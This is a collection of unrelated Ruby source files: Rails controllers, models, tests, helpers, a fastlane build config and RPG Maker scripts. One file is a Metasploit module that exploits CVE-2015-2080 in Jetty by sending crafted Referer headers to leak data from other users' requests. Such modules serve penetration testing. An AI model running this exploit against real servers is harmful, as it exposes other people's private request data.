base_luk_KGC_PassiveSkill + passive_params[:luk] n = n * passive_params_rate[:luk] / 100 return n end end # $imported["ClassStatLUK"] end # class Game_Actor < Game_Battler end # if $imported["PassiveSkill"]
require 'page-object' require 'watir' class FileUpload include PageObject page_url('http://the-internet.herokuapp.com/upload') button(:file_submit, id: 'file-submit') h3(:file_uploaded, text: 'File Uploaded!') file_field(:the_file, id: 'file-upload') div(:uploaded_files, id: 'uploaded-files') def upload_file file_name File.write(file_name, '') path = File.expand_path(file_name) self.the_file_element.set path self.file_submit end def valid_uploaded_file? file_name self.uploaded_files == file_name end end browser = Watir::Browser.new :firefox file = FileUpload.new browser, true file.upload_file 'watir_example.txt' # TESTS # successful uploading? p file.file_uploaded # correct file? p file.valid_uploaded_file? 'watir_example.txt' file.quit
require 'rails_helper' RSpec.describe User, :type => :model do it "responds to name" do expect(User.new).to respond_to(:first_name) end it "requires first name" do expect(User.new(last_name: "Mulray", email: "Hollis@Hollis.com", password: "foo", password_confirmation: "foo")).to be_invalid end it "requires last name" do expect(User.new(first_name: "Hollis", email: "Hollis@Hollis.com", password: "foo", password_confirmation: "foo")).to be_invalid end it "requires email" do expect(User.new(first_name: "Hollis", last_name: "Mulray", password: "foo", password_confirmation: "foo")).to be_invalid end it "is invalid if email isn't formatted properly" do emails = ["HJJKK", "ab c", "ashs@com", "something@com.c"] emails.each do |email| user = User.new(first_name: "Hollis", last_name: "Mulray", password: "foo", password_confirmation: "foo", email: email) expect(user).to be_invalid end end it "requires password" do expect(User.new(first_name: "Hollis", last_name: "Mulray", email: "Hollis@Hollis.com", password_confirmation: "foo")).to be_invalid end it "requires password confirmation" do expect(User.new(first_name: "Hollis", last_name: "Mulray", email: "Hollis@Hollis.com", password: "foo")).to be_invalid end it "requires uniqueness of email" do User1 = User.create(first_name: "Hollis", last_name: "Mulray", email: "Hollis@Hollis.com", password: "foo", password_confirmation: "foo") User2 = User.new(first_name: "Hollis", last_name: "Mulray", email: "Hollis@Hollis.com", password: "foo", password_confirmation: "foo") expect(User2).to be_invalid end end
module CourseHelper def course_tab_link(course, name, text, current, semester, count=0) span_text = content_tag :span, text count_text = count > 0 ? (content_tag :span, count, :class => 'count') : '' link_text = span_text + count_text klass = (name.to_sym == current.to_sym) ? "link #{name} current" : "link #{name}" link_to link_text, "/courses/#{course.id}?tab=#{name}&semester=#{semester.value}", :class=>klass end def admin_course_tab_link(course, name, text, current, semester, count=0) span_text = content_tag :span, text count_text = count > 0 ? (content_tag :span, count, :class => 'count') : '' link_text = span_text + count_text klass = (name.to_sym == current.to_sym) ? "link #{name} current" : "link #{name}" link_to link_text, "/admin/courses/#{course.id}?tab=#{name}&semester=#{semester.value}", :class=>klass end # 根据 0-7 获得星期字符串 def change_to_weekday(weekday) "星期#{%w{ 日 一 二 三 四 五 六 }[weekday]}" end # 根据 0-7 获得本周内的对应日期 def change_to_weekdate(weekday) wd = weekday wd = 7 if wd == 0 now = Time.now date = now + (wd - now.wday).days date.strftime('%Y-%m-%d') end def change_to_course_number(number) return "" if number == 0 "第#{%w{一 二 三 四 五 六 七 八 九 十 十一 十二}[number - 1]}节" end def course_change_record_times now_time = Time.now now_wday = now_time.wday now_wday = 7 if now_wday == 0 week_start_time = now_time - (now_wday - 1).day week_end_time = now_time + (7 - now_wday).day times = [] times << [week_start_time,week_end_time] 4.times do |i| start_time = week_start_time + ((i+1)*7).day end_time = week_end_time + ((i+1)*7).day times << [start_time, end_time] end times.map do |time| [ "#{time[0].strftime('%Y%m%d')} - #{time[1].strftime('%Y%m%d')}", "#{time[0].strftime('%Y%m%d')},#{time[1].strftime('%Y%m%d')}", ] end end end
class PoiBookingsController < ApplicationController def create skip_authorization end def update @poi_booking = PoiBooking.find(params[:id]) skip_authorization @poi_booking.booking_status = true if @poi_booking.save redirect_to journey_path(@poi_booking.connection.journey_id), notice: 'Successfully booked!' else redirect_to journey_path(@poi_booking.connection.journey_id), notice: "Something went wrong. Couldn't update the connection!" end end private def poi_booking_params params.require(:poi_booking).permit(journey_id, poi_id, booking_status, date) end end
require 'kmeans-clusterer' require_relative 'tsp' class FisherJaikumar def initialize(points:, courier_num:) @points = points @courier_num = courier_num end def solve clusters.each do |cluster| tsp = TSP.new(points: cluster) tsp.calculate_route tsp.pretty_print end end private def clusters KMeansClusterer.run(@courier_num, @points).clusters.map { |cl| cl.points.map(&:data) } end end if __FILE__ == $0 data = [ [3,6], [2,3], [5,4], [1,1], [5,2], [4,0], [6,1], [0,-2], [2,-2], [1, -3], [6, -3], [4, -6], [-3,4], [-4,2], [-2,2], [0,3], [-6,0], [-4,0], [-5,-1], [-3,-1], [-5,-3], [-2,-3], [-4,-4], [-1,-4], [-5,-6], [-3,-6], [-2,-9] ] fj = FisherJaikumar.new(points: data, courier_num: 2) fj.solve end
## # This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class Metasploit3 < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Remote Leakage Of Shared Buffers In Jetty Web Server [CVE-2015-2080]", 'Description' => %q{ This module exploits a vulnerability found in Jetty Web Server versions 9.2.x and 9.3.x, which allows an unauthenticated remote attacker to read arbitrary data from previous requests submitted to the server by other users. }, 'Author' => [ 'Gotham Digital Science', # Discovery 'Tiago Balgan Henriques' # Metasploit Module ], 'References' => [ [ 'CVE', '2015-2080' ] ], 'Privileged' => false, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Feb, 25 2015' )) register_options( [ Opt::RPORT(8080), OptInt.new('LOOP', [ true, 'Number of times you want to try and exploit', 60 ]), OptString.new('url', [ true, 'url to test', "test-spec/test" ]) ], self.class) end def run for i in 0..datastore['LOOP'] uri = target_uri.path badstring = "/\x00/"*44 res = send_request_cgi({ 'method' => 'POST', 'uri' => datastore['url'], 'headers' => {"Referer" => badstring } }) if res && res.code == 400 print_good("I got a 400, awesome") puts(res) else print_error("No 400, server might not be vulnerable") puts(res) end end end end
class Party < ApplicationRecord has_many :party_characters, dependent: :destroy has_many :party_maps, dependent: :destroy has_many :party_equipments, dependent: :destroy has_many :maps, through: :party_maps has_many :characters, through: :party_characters has_many :equipments, through: :party_equipments belongs_to :user end
# encoding: UTF-8 module CDI module V1 module GameQuestionsAnswers class BatchCreateService < BaseActionService action_name :batch_game_question_answers_options_create attr_reader :answers, :services def initialize(game, user, options = {}) @game, @user = game, user @answers = [] @services = [] super(options) end def execute_action answers_hash.each do |question_id, answer_data| service = create_answer_with_service(question_id.to_s, answer_data.symbolize_keys) answer = service.answer @answers << answer @services << service end end def valid_answers @answers.compact.select(&:persisted?) || [] end private # better than one query per item def find_game_question(question_id) @game_questions ||= @game.questions # converting to string cuz question_id can be a Symbol @game_questions.find {|item| item.id == question_id.to_s.to_i } end def create_answer_with_service(question_id, answer_data, options = {}) options = @options.slice(:origin) .merge( answer: { question_id: question_id, game_type: 'true_false', game_id: @game.id }.merge(answer_data) ) .deep_merge(options) service = GameQuestionsAnswers::CreateService.new(@user, options) service.execute service end def answers_hash attributes_hash end def success_runned_action? valid_answers.any? end def action_errors model_errors = @answers.compact.map(&:errors).map(&:full_messages).flatten service_errors = @services.compact.map(&:errors).flatten [model_errors, service_errors].flatten.compact.uniq end def user_can_execute_action? return student_user_can_access_game? if @user.student? return @user.backoffice_profile? end def student_user_can_access_game? return false unless valid_record? @user.enrolled_tracks.joins(:presentation_slides).exists?(presentation_slides: { associated_resource_id: @game.id, associated_resource_type: @game.class.to_s }) end def attributes_hash @options[:answers] end def record_error_key :game_questions_answers end def after_success @response_status = 201 end def valid_record? valid_object?(@game, ::GameQuiz) || valid_object?(@game, ::GameTrueFalse) end end end end end
# Customise this file, documentation can be found here: # https://github.com/fastlane/fastlane/tree/master/fastlane/docs # All available actions: https://docs.fastlane.tools/actions # can also be listed using the `fastlane actions` command # Change the syntax highlighting to Ruby # All lines starting with a # are ignored when running `fastlane` # If you want to automatically update fastlane if a new version is available: # update_fastlane # This is the minimum version number required. # Update this, if you use features of a newer version fastlane_version "2.28.3" default_platform :ios xcversion(version: "11.3") platform :ios do # before_all do # # ENV["SLACK_URL"] = "https://hooks.slack.com/services/..." # end # desc "Runs all the tests" # lane :test do # scan # end lane :update_credentials do sync_code_signing( type: "appstore", app_identifier: 'company.nicework.eventdotpizza', username: 'robot@nicework.company', team_id: '76YFR39J99', team_name: 'NiceWork OU', git_url: 'https://github.com/eralpkaraduman/event_dot_pizza_fastlane_match.git', ) end lane :build do create_keychain( name: "fastlane", password: "fastlane", default_keychain: false, unlock: true, timeout: 3600, lock_when_sleeps: false, ) sync_code_signing( keychain_name: "fastlane", keychain_password: "fastlane", type: "appstore", app_identifier: 'company.nicework.eventdotpizza', username: 'robot@nicework.company', team_id: '76YFR39J99', team_name: 'NiceWork OU', git_url: 'https://github.com/eralpkaraduman/event_dot_pizza_fastlane_match.git', ) build_app( scheme: "Runner", silent: true, # decreases log verbosity include_symbols: false, include_bitcode: false, disable_xcpretty: false, # increases log verbosity export_team_id: '76YFR39J99', export_method: 'app-store', skip_profile_detection: true, export_options: { method: "app-store", provisioningProfiles: ENV['MATCH_PROVISIONING_PROFILE_MAPPING'], compileBitcode: false, uploadBitcode: false, uploadSymbols: false, } ) end lane :upload do upload_to_testflight( ipa: 'Runner.ipa', username: 'robot@nicework.company', skip_submission: true, skip_waiting_for_build_processing: true, reject_build_waiting_for_review: true ) end after_all do |lane| # This block is called, only if the executed lane was successful # slack( # message: "Successfully deployed new App Update." # ) end error do |lane, exception| # slack( # message: exception.message, # success: false # ) end end # More information about multiple platforms in fastlane: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Platforms.md # All available actions: https://docs.fastlane.tools/actions # fastlane reports which actions are used # No personal data is recorded. Learn more at https://github.com/fastlane/enhancer
class Web::Admin::MenusController < Web::Admin::ProtectedApplicationController authorize_actions_for ::Menu def index @menus = Menu.includes(:binder, binder: :section).admin_order.page(params[:page]).decorate end def new @menu = MenuType.new @sections = Section.all @other_menus = Menu.all @menu.build_binder end def create @menu = MenuType.new(params[:menu]) @sections = Section.all @other_menus = Menu.all if @menu.save redirect_to action: :index else render :new end end def edit @menu = MenuType.find(params[:id]) @sections = Section.all @other_menus = Menu.exclude(@menu) @menu.build_binder unless @menu.binder end def update @menu = MenuType.find(params[:id]) @sections = Section.all @other_menus = Menu.exclude(@menu) if @menu.update(params[:menu]) redirect_to action: :index else render :edit end end def show @menu = Menu.find(params[:id]).decorate end def fire_event @menu = Menu.find(params[:id]) @menu.fire_state_event(params[:event]) redirect_to action: :index end def histories #TODO @versions = PaperTrail::Version.where(item: Menu.all).order(created_at: :desc).page(params[:page]).decorate end def history @menu = ::Menu.find(params[:id]) @versions = @menu.versions.page(params[:page]).decorate end def sorting @menus = Menu.web end end
# frozen_string_literal: true module RequestHelper def have_sent_request_with(**request_settings) # rubocop:disable Metrics/AbcSize, Metrics/MethodLength request = Request.new(**request_settings) HOST_PARAMS.each do |attribute| request.public_send(:"#{attribute}=", request_settings[attribute] || client_configuration.public_send(attribute)) end authorization = request.type.eql?(:public) ? {} : { 'Authorization' => request.token } request_params = request.params path = ::URI::HTTP.build( path: request.endpoint, query: request_params.empty? ? nil : ::URI.encode_www_form(request_params) ).request_uri url = "#{request.secure_connection ? 'https' : 'http'}://#{request.host}:#{request.port}#{path}" stub_request(request.method, url).with( headers: { 'Accept' => request.accept, 'Content-Type' => request.content_type, 'Host' => "#{request.host}:#{request.port}", 'User-Agent' => request.user_agent }.merge(authorization) ).to_return(response(**request_params)) end private HOST_PARAMS = %i[secure_connection host port token].freeze REQUEST_PARAMS = %i[method accept content_type user_agent endpoint type params].freeze Request = ::Struct.new(*(HOST_PARAMS | REQUEST_PARAMS), keyword_init: true) def body(email) # rubocop:disable Metrics/MethodLength { configuration: { blacklisted_domains: nil, blacklisted_mx_ip_addresses: nil, dns: nil, email_pattern: 'default gem value', smtp_error_body_pattern: 'default gem value', smtp_safe_check: true, validation_type_by_domain: nil, whitelist_validation: false, whitelisted_domains: nil, not_rfc_mx_lookup_flow: false }, date: ::Time.now, email: email, errors: nil, smtp_debug: nil, success: true, validation_type: 'smtp' }.to_json end def response(email: nil, **) { status: 200, body: email ? body(email) : '', headers: {} } end end
require 'spec_helper' describe VenuesController do before do mock_geocoding! @theVenueType = FactoryGirl.create(:venue_type) @theLocation = FactoryGirl.create(:location) end def valid_attributes { name:"Pumphouse", venue_type_id:@theVenueType.id, location_attributes: accessible_attributes(Location, @theLocation) } end describe "GET index" do login_admin it "should have current_admin" do subject.current_admin.should_not be_nil end it "assigns all venues as @venues" do venue = Venue.create! valid_attributes get :index, {} assigns(:venues).should eq([venue]) end end describe "GET show" do login_user it "assigns the requested venue as @venue" do venue = Venue.create! valid_attributes venue.foursquare_id = '12345' venue.save get :show, {:id => venue.to_param} assigns(:venue).should eq(venue) end end describe "GET new" do login_admin it "assigns a new venue as @venue" do get :new, {} assigns(:venue).should be_a_new(Venue) end end describe "GET edit" do login_admin it "assigns the requested venue as @venue" do venue = Venue.create! valid_attributes get :edit, {:id => venue.to_param} assigns(:venue).should eq(venue) end end describe "POST create" do login_admin describe "with valid params" do it "creates a new Venue" do expect { post :create, {:venue => valid_attributes} }.to change(Venue, :count).by(1) end it "assigns a newly created venue as @venue" do post :create, {:venue => valid_attributes} assigns(:venue).should be_a(Venue) assigns(:venue).should be_persisted end it "redirects to the created venue" do post :create, {:venue => valid_attributes} response.should redirect_to(Venue.last) end end describe "with invalid params" do it "assigns a newly created but unsaved venue as @venue" do # Trigger the behavior that occurs when invalid params are submitted Venue.any_instance.stub(:save).and_return(false) post :create, {:venue => {}} assigns(:venue).should be_a_new(Venue) end it "re-renders the 'new' template" do # Trigger the behavior that occurs when invalid params are submitted Venue.any_instance.stub(:save).and_return(false) post :create, {:venue => {}} response.should render_template("new") end end end describe "PUT update" do login_admin describe "with valid params" do it "updates the requested venue" do venue = Venue.create! valid_attributes # Assuming there are no other venues in the database, this # specifies that the Venue created on the previous line # receives the :update_attributes message with whatever params are # submitted in the request. Venue.any_instance.should_receive(:update_attributes).with({'these' => 'params'}) put :update, {:id => venue.to_param, :venue => {'these' => 'params'}} end it "assigns the requested venue as @venue" do venue = Venue.create! valid_attributes put :update, {:id => venue.to_param, :venue => valid_attributes} assigns(:venue).should eq(venue) end it "redirects to the venue" do venue = Venue.create! valid_attributes put :update, {:id => venue.to_param, :venue => valid_attributes} response.should redirect_to(venue) end end describe "with invalid params" do it "assigns the venue as @venue" do venue = Venue.create! valid_attributes # Trigger the behavior that occurs when invalid params are submitted Venue.any_instance.stub(:save).and_return(false) put :update, {:id => venue.to_param, :venue => {}} assigns(:venue).should eq(venue) end it "re-renders the 'edit' template" do venue = Venue.create! valid_attributes # Trigger the behavior that occurs when invalid params are submitted Venue.any_instance.stub(:save).and_return(false) put :update, {:id => venue.to_param, :venue => {}} response.should render_template("edit") end end end describe "DELETE destroy" do login_admin it "destroys the requested venue" do venue = Venue.create! valid_attributes expect { delete :destroy, {:id => venue.to_param} }.to change(Venue, :count).by(-1) end it "redirects to the venues list" do venue = Venue.create! valid_attributes delete :destroy, {:id => venue.to_param} response.should redirect_to(venues_url) end end end
# Completed step definitions for basic features: AddMovie, ViewDetails, EditMovie Given /^I am on the RottenPotatoes home page$/ do visit movies_path end When /^I have added a movie with title "(.*?)" and rating "(.*?)"$/ do |title, rating| visit new_movie_path fill_in 'Title', :with => title select rating, :from => 'Rating' click_button 'Save Changes' end Then /^I should see a movie list entry with title "(.*?)" and rating "(.*?)"$/ do |title, rating| result=false all("tr").each do |tr| if tr.has_content?(title) && tr.has_content?(rating) result = true break end end expect(result).to be_truthy end When /^I have visited the Details about "(.*?)" page$/ do |title| visit movies_path click_on "More about #{title}" end Then (/^(?:|I )should see "([^"]*)"$/) do |text| expect(page).to have_content(text) end When /^I have edited the movie "(.*?)" to change the rating to "(.*?)"$/ do |movie, rating| click_on "Edit" select rating, :from => 'Rating' click_button 'Update Movie Info' end Given /the following movies have been added to RottenPotatoes:/ do |movies_table| movies_table.hashes.each do |movie| Movie.create :title => movie[:title], :rating => movie[:rating], :release_date => movie[:release_date] end end When /^I have opted to see movies rated: "(.*?)"$/ do |arg1| str = arg1.gsub(/[,]/ ,"").split visit movies_path find(:css, "#ratings_NC-17").set(false) find(:css, "#ratings_R").set(false) find(:css, "#ratings_PG-13").set(false) find(:css, "#ratings_PG").set(false) find(:css, "#ratings_G").set(false) str.each do |rating| find(:css, "#ratings_#{rating}").set(true) end end Then /^I should see only movies rated: "(.*?)"$/ do |arg1| str = arg1.gsub(/[,]/ ,"").split find(:css, '#ratings_submit').click m = Movie.all m.each do |movie| if str.include?(movie[:rating]) expect(page).to have_css('td', text: movie[:title]) else expect(page).not_to have_css('td', text: movie[:title]) end end end Then /^I should see all of the movies$/ do m = Movie.all m.each do |movie| expect(page).to have_css('td', text: movie[:title]) end end When /^I have selected the 'Release Date' label$/ do visit movies_path find(:css, '#release_date_header').click end Then /^Movies should be sorted by release date$/ do within(:xpath, "//tbody/tr[1]/td[1]") do page.should have_content('2001: A Space Odyssey') end within(:xpath, "//tbody/tr[2]/td[1]") do page.should have_content('Raiders of the Lost Ark') end within(:xpath, "//tbody/tr[3]/td[1]") do page.should have_content('The Terminator') end within(:xpath, "//tbody/tr[4]/td[1]") do page.should have_content('When Harry Met Sally') end within(:xpath, "//tbody/tr[5]/td[1]") do page.should have_content('Aladdin') end within(:xpath, "//tbody/tr[6]/td[1]") do page.should have_content('Chicken Run') end within(:xpath, "//tbody/tr[7]/td[1]") do page.should have_content('Chocolat') end within(:xpath, "//tbody/tr[8]/td[1]") do page.should have_content('Amelie') end within(:xpath, "//tbody/tr[9]/td[1]") do page.should have_content('The Incredibles') end within(:xpath, "//tbody/tr[10]/td[1]") do page.should have_content('The Help') end end When /^I have selected the 'Movie Title' label$/ do visit movies_path find(:css, '#title_header').click end Then /^Movies should be sorted alphabetically$/ do within(:xpath, "//tbody/tr[1]/td[1]") do page.should have_content('2001: A Space Odyssey') end within(:xpath, "//tbody/tr[2]/td[1]") do page.should have_content('Aladdin') end within(:xpath, "//tbody/tr[3]/td[1]") do page.should have_content('Amelie') end within(:xpath, "//tbody/tr[4]/td[1]") do page.should have_content('Chicken Run') end within(:xpath, "//tbody/tr[5]/td[1]") do page.should have_content('Chocolat') end within(:xpath, "//tbody/tr[6]/td[1]") do page.should have_content('Raiders of the Lost Ark') end within(:xpath, "//tbody/tr[7]/td[1]") do page.should have_content('The Help') end within(:xpath, "//tbody/tr[8]/td[1]") do page.should have_content('The Incredibles') end within(:xpath, "//tbody/tr[9]/td[1]") do page.should have_content('The Terminator') end within(:xpath, "//tbody/tr[10]/td[1]") do page.should have_content('When Harry Met Sally') end end
class AddMigrationCreateMessageSettings < ActiveRecord::Migration def self.up create_table :message_settings do |t| t.string :config_key t.string :config_value t.timestamps end end def self.down drop_table :message_settings end end
class Gif < ActiveRecord::Base belongs_to :category has_many :favorite_gifs has_many :users, through: :favorite_gifs validates :image_path, presence: true end
require "test_helper" class ItemTest < ActiveSupport::TestCase should belong_to :itemable should belong_to :skill_set test "category and cat_attributes test" do blacksmith = Category.create(name: "blacksmith") armory = Category.create(name: "armory") weapon_ss = SkillSet.create(strength: 1) armor_ss = SkillSet.create(speed: -1) i1 = Item.create(name: "sword1", category: blacksmith, skill_set: weapon_ss) i2 = Item.create(name: "sword2", category: blacksmith, skill_set: weapon_ss ) i3 = Item.create(name: "sword3", category: blacksmith, skill_set: weapon_ss ) i4 = Item.create(name: "armor1", category: armory, skill_set: armor_ss ) i5 = Item.create(name: "armor2", category: armory, skill_set: armor_ss ) swords = Item.of_category("blacksmith").map(&:name) armors = Item.of_category("armory").map(&:name) assert_equal ["sword1", "sword2", "sword3"], swords assert_equal ["armor1", "armor2"], armors sword_attributes = Item.category_attributes("blacksmith") armor_attributes = Item.category_attributes("armory") assert_equal [{"strength" => 1}, {"strength" => 1}, {"strength" => 1}], sword_attributes assert_equal [{"speed" => -1}, {"speed" => -1}], armor_attributes end end
module V1 class ItinerariesController < ApplicationController before_action :set_itinerary, only: [:show, :update, :destroy] def index @itineraries = Itinerary.all json_response(@itineraries, :ok, ItinerariesSerializer) end def show json_response(@itinerary, :ok, ItinerariesSerializer) end def create @itinerary = current_user.itineraries.create!(itinerary_params) json_response(@itinerary, :created, ItinerariesSerializer) end def update @itinerary.update(itinerary_params) json_response(@itinerary, :accepted, ItinerariesSerializer) end def destroy @itinerary.destroy head :no_content end private # Use callbacks to share common setup or constraints between actions. def set_itinerary @itinerary = Itinerary.find(params[:id]) end # Only allow a trusted parameter "white list" through. def itinerary_params params.require(:itinerary).permit(:start_date, :end_date, :price) end end end
#:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= # ▼ Autobackup # Author: Kread-EX # Version 1.03 # Release date: 26/12/2012 #:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= #-------------------------------------------------------------------------- # ▼ UPDATES #-------------------------------------------------------------------------- # # 03/02/2013. Changed file comparison method. # # 23/01/2013. Stop trying to compare Audio files. # # 18/01/2013. Fixed bug with UNIX filenames. #-------------------------------------------------------------------------- # ▼ TERMS OF USAGE #-------------------------------------------------------------------------- # # You are free to adapt this work to suit your needs. # # You can use this work for commercial purposes if you like it. # # # # For support: # # grimoirecastle.wordpress.com # # rpgmakerweb.com #-------------------------------------------------------------------------- # ▼ INTRODUCTION #-------------------------------------------------------------------------- # # Makes an automatic backup of data and/or graphic files when you start # # the game if necessary. Should be removed from the project upon release. #-------------------------------------------------------------------------- # Folder for your backups. They're ordered by date afterwards. BACKUP_FOLDER = "Backups" # Location of your Dropbox folder. DROPBOX_FOLDER = "Documents/Dropbox" # Hotkey. If you press this during the game, a unique backup will be sent # to your Dropbox folder. Does nothing if the folder doesn't exist. DROPBOX_HOTKEY = :ALT # Set this to false to only back up the project data. BACKUP_GRAPHICS = false # Disable the autobackups by setting this to `true. The Dropbox hotkey will # still be available however. DISABLE_AUTOSCRIPT = true # Actual script start here. Don't edit unless you know what you're doing. #=========================================================================== # ■ Dir #=========================================================================== class Dir #-------------------------------------------------------------------------- # ● Create directories recursively #-------------------------------------------------------------------------- def self.mkdir_recursive(path) return if File.exists?(path) dir, file = File.split(path) Dir.mkdir_recursive(dir) unless File.exists?(dir) Dir.mkdir(path) end end unless DISABLE_AUTOSCRIPT # Check if backup necessary. Dir.mkdir(BACKUP_FOLDER) unless Dir.exist?(BACKUP_FOLDER) time = Time.now.strftime("%m-%d-%Y %H-%M") current_version = load_data("Data/System.rvdata2").version_id do_copy = false backup_version = target_path = nil backup_size = Dir.entries(BACKUP_FOLDER).size - 2 if backup_size == 0 target_path = "#{BACKUP_FOLDER}/0001 (#{time})" Dir.mkdir(target_path) do_copy = true end Dir.entries(BACKUP_FOLDER).each do |filename| next if ['.', '..'].include?(filename) if filename.include?("000#{backup_size}") backup_version = load_data(BACKUP_FOLDER + '/' + filename + '/Data/System.rvdata2').version_id if backup_version != current_version target_path = "#{BACKUP_FOLDER}/000#{backup_size + 1} (#{time})" Dir.mkdir(target_path) do_copy = true break end end end # Perform backup if do_copy d = 'Data/' Dir.entries(d).each do |filename| next if ['.', '..'].include?(filename) next if filename.include?('Thumbs.db') next if filename.include?('Desktop.ini') Dir.mkdir_recursive(File.join(target_path, d)) IO.copy_stream(d + filename, target_path + '/'+ d + filename) end if BACKUP_GRAPHICS d = 'Graphics/' td = nil files = File.join("Graphics/*", '*.*') Dir.glob(files).each do |filename| next if ['.', '..'].include?(filename) next if filename.include?('Thumbs.db') next if filename.include?('Desktop.ini') td = File.dirname(filename) Dir.mkdir_recursive(File.join(target_path, td)) IO.copy_stream(filename, target_path + '/' + filename) end end puts 'Autobackup done!' end end #=========================================================================== # ■ Scene_Base #=========================================================================== class Scene_Base #-------------------------------------------------------------------------- # ● Frame Update [Basic] #-------------------------------------------------------------------------- alias_method(:krx_autobackup_sb_ub, :update_basic) def update_basic Thread.new {make_dropbox_backup} if Input.trigger?(DROPBOX_HOTKEY) krx_autobackup_sb_ub end #-------------------------------------------------------------------------- # ● Creates the actual Dropbox backup #-------------------------------------------------------------------------- def make_dropbox_backup title = $data_system.game_title.gsub (/[:"\\\/?|]/) {'_'} dfolder = File.join(ENV['HOME'], DROPBOX_FOLDER) return unless Dir.exist?(dfolder) path = File.join(dfolder, title) Dir.mkdir(path) unless Dir.exist?(path) allfiles = File.join("**", '*.*') dir = nil Dir.glob(allfiles).each do |filename| next if filename.include?('Thumbs.db') next if filename.include?('Desktop.ini') dir = File.join(path, File.dirname(filename)) Dir.mkdir_recursive(dir) unless Dir.exist?(dir) if File.exist?(path + '/' + filename) puts "File already exists: #{filename}" next if filename.include?('Audio') if File.mtime(path + '/' + filename) < File.mtime(filename) puts "File overwritten: #{filename}" IO.copy_stream(filename, path + '/' + filename) end else puts "File copied: #{filename}" IO.copy_stream(filename, path + '/' + filename) end end puts 'Hotkey Backup complete!' end end
class Recipe < ActiveRecord::Base has_many :ratings belongs_to :user belongs_to :category has_and_belongs_to_many :ingredients validates :title, presence: true validates :user_id, presence: true validates :method, presence: true end
class FontNotoSansMultani < Formula head "https://github.com/google/fonts/raw/main/ofl/notosansmultani/NotoSansMultani-Regular.ttf", verified: "github.com/google/fonts/" desc "Noto Sans Multani" homepage "https://fonts.google.com/specimen/Noto+Sans+Multani" def install (share/"fonts").install "NotoSansMultani-Regular.ttf" end test do end end